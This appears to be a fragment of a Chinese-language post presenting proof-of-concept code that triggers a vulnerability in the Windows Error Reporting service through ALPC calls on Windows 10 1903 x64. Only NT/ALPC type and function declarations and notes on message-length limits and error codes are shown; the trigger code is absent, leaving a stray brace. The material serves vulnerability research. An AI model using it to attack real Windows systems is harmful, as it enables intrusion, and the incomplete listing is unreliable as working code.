#include <stdio.h>

#include<windows.h>

}

头文件：

	#include<windows.h>
	#define InitializeObjectAttributes(i, o, a, r, s) { \
	(i)->Length = sizeof(OBJECT_ATTRIBUTES); \
	(i)->RootDirectory = r; \
	(i)->Attributes = a; \
	(i)->ObjectName = o; \
	(i)->SecurityDescriptor = s; \
	(i)->SecurityQualityOfService = NULL; \
	}
	typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
	} UNICODE_STRING;
	typedef UNICODE_STRING* PUNICODE_STRING;
	typedef const UNICODE_STRING* PCUNICODE_STRING;
	typedef struct _OBJECT_ATTRIBUTES {
	ULONG Length;
	HANDLE RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG Attributes;
	PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
	PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
	} OBJECT_ATTRIBUTES;
	typedef OBJECT_ATTRIBUTES* POBJECT_ATTRIBUTES;
	typedef VOID
	(WINAPI* RtlInitUnicodeString)(
	__out PUNICODE_STRING DestinationString,
	__in_opt PCWSTR SourceString
	);
	typedef struct _ALPC_PORT_ATTRIBUTES
	{
	ULONG Flags;
	SECURITY_QUALITY_OF_SERVICE SecurityQos;
	SIZE_T MaxMessageLength;
	SIZE_T MemoryBandwidth;
	SIZE_T MaxPoolUsage;
	SIZE_T MaxSectionSize;
	SIZE_T MaxViewSize;
	SIZE_T MaxTotalSectionSize;
	ULONG DupObjectTypes;
	#ifdef _WIN64
	ULONG Reserved;
	#endif
	} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;
	typedef struct _CLIENT_ID
	{
	HANDLE UniqueProcess; //32 vs 64
	HANDLE UniqueThread; //32 vs 64
	} CLIENT_ID, * PCLIENT_ID;
	typedef short CSHORT;
	typedef struct _PORT_MESSAGE
	{
	union
	{
	struct
	{
	CSHORT DataLength;
	CSHORT TotalLength;
	} s1;
	ULONG Length;
	} u1;
	union
	{
	struct
	{
	CSHORT Type;
	CSHORT DataInfoOffset;
	} s2;
	ULONG ZeroInit;
	} u2;
	union
	{
	CLIENT_ID ClientId;
	double DoNotUseThisField;
	};
	ULONG MessageId;
	union
	{
	SIZE_T ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages
	ULONG CallbackId; // only valid for LPC_REQUEST messages
	};
	} PORT_MESSAGE, * PPORT_MESSAGE;
	typedef struct _ALPC_MESSAGE_ATTRIBUTES
	{
	ULONG AllocatedAttributes;
	ULONG ValidAttributes;
	} ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;
	typedef NTSTATUS
	(WINAPI* NtAlpcConnectPort)(
	_Out_ PHANDLE PortHandle,
	_In_ PUNICODE_STRING PortName,
	_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
	_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes,
	_In_ ULONG Flags,
	_In_opt_ PSID RequiredServerSid,
	_Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage,
	_Inout_opt_ PULONG BufferLength,
	_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes,
	_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes,
	_In_opt_ PLARGE_INTEGER Timeout
	);
	typedef NTSTATUS
	(WINAPI* NtAlpcSendWaitReceivePort)(
	_In_ HANDLE PortHandle,
	_In_ ULONG Flags,
	_In_reads_bytes_opt_(SendMessage->u1.s1.TotalLength) PPORT_MESSAGE SendMessage,
	_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes,
	_Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ReceiveMessage,
	_Inout_opt_ PSIZE_T BufferLength,
	_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes,
	_In_opt_ PLARGE_INTEGER Timeout
	);
	typedef NTSTATUS
	(WINAPI* NtAlpcDisconnectPort)(
	_In_ HANDLE PortHandle,
	_In_ ULONG Flags
	);
	typedef NTSTATUS
	(WINAPI* AlpcInitializeMessageAttribute)(
	ULONG TypeFlag,
	PVOID pMessageBuffer OPTIONAL,
	ULONG BuffSize,
	PULONG RequireSize
	);
	typedef NTSTATUS
	(WINAPI* NtAlpcAcceptConnectPort)(
	_Out_ PHANDLE PortHandle,
	_In_ HANDLE ConnectionPortHandle,
	_In_ ULONG Flags,
	_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
	_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes,
	_In_opt_ PVOID PortContext,
	_In_reads_bytes_(ConnectionRequest->u1.s1.TotalLength) PPORT_MESSAGE ConnectionRequest,
	_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ConnectionMessageAttributes,
	_In_ BOOLEAN AcceptConnection
	);
	typedef NTSTATUS
	(WINAPI* NtAlpcCreatePort)(
	_Out_ PHANDLE PortHandle,
	_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
	_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes
	);

此代码仅能够触发漏洞wersvc！CWerService :: SvcCollectMemoryInfo 我的实验环境是1903 x64

如果未设置NtAlpcConnectPort的第四个参数ALPC_PORT_ATTRIBUTES中的MaxMessageLength字段，则NtAlpcSendWaitReceivePort发送的消息的长度不能超过0x200，并且将返回0xC000002F 如果发送长度超过服务器指定的最大长度（NtAlpcSendWaitReceivePort是底部的第三个参数），则将获得0xC0000707 错误

CreateFile将不受磁盘存储空间的影响。 WriteFile会。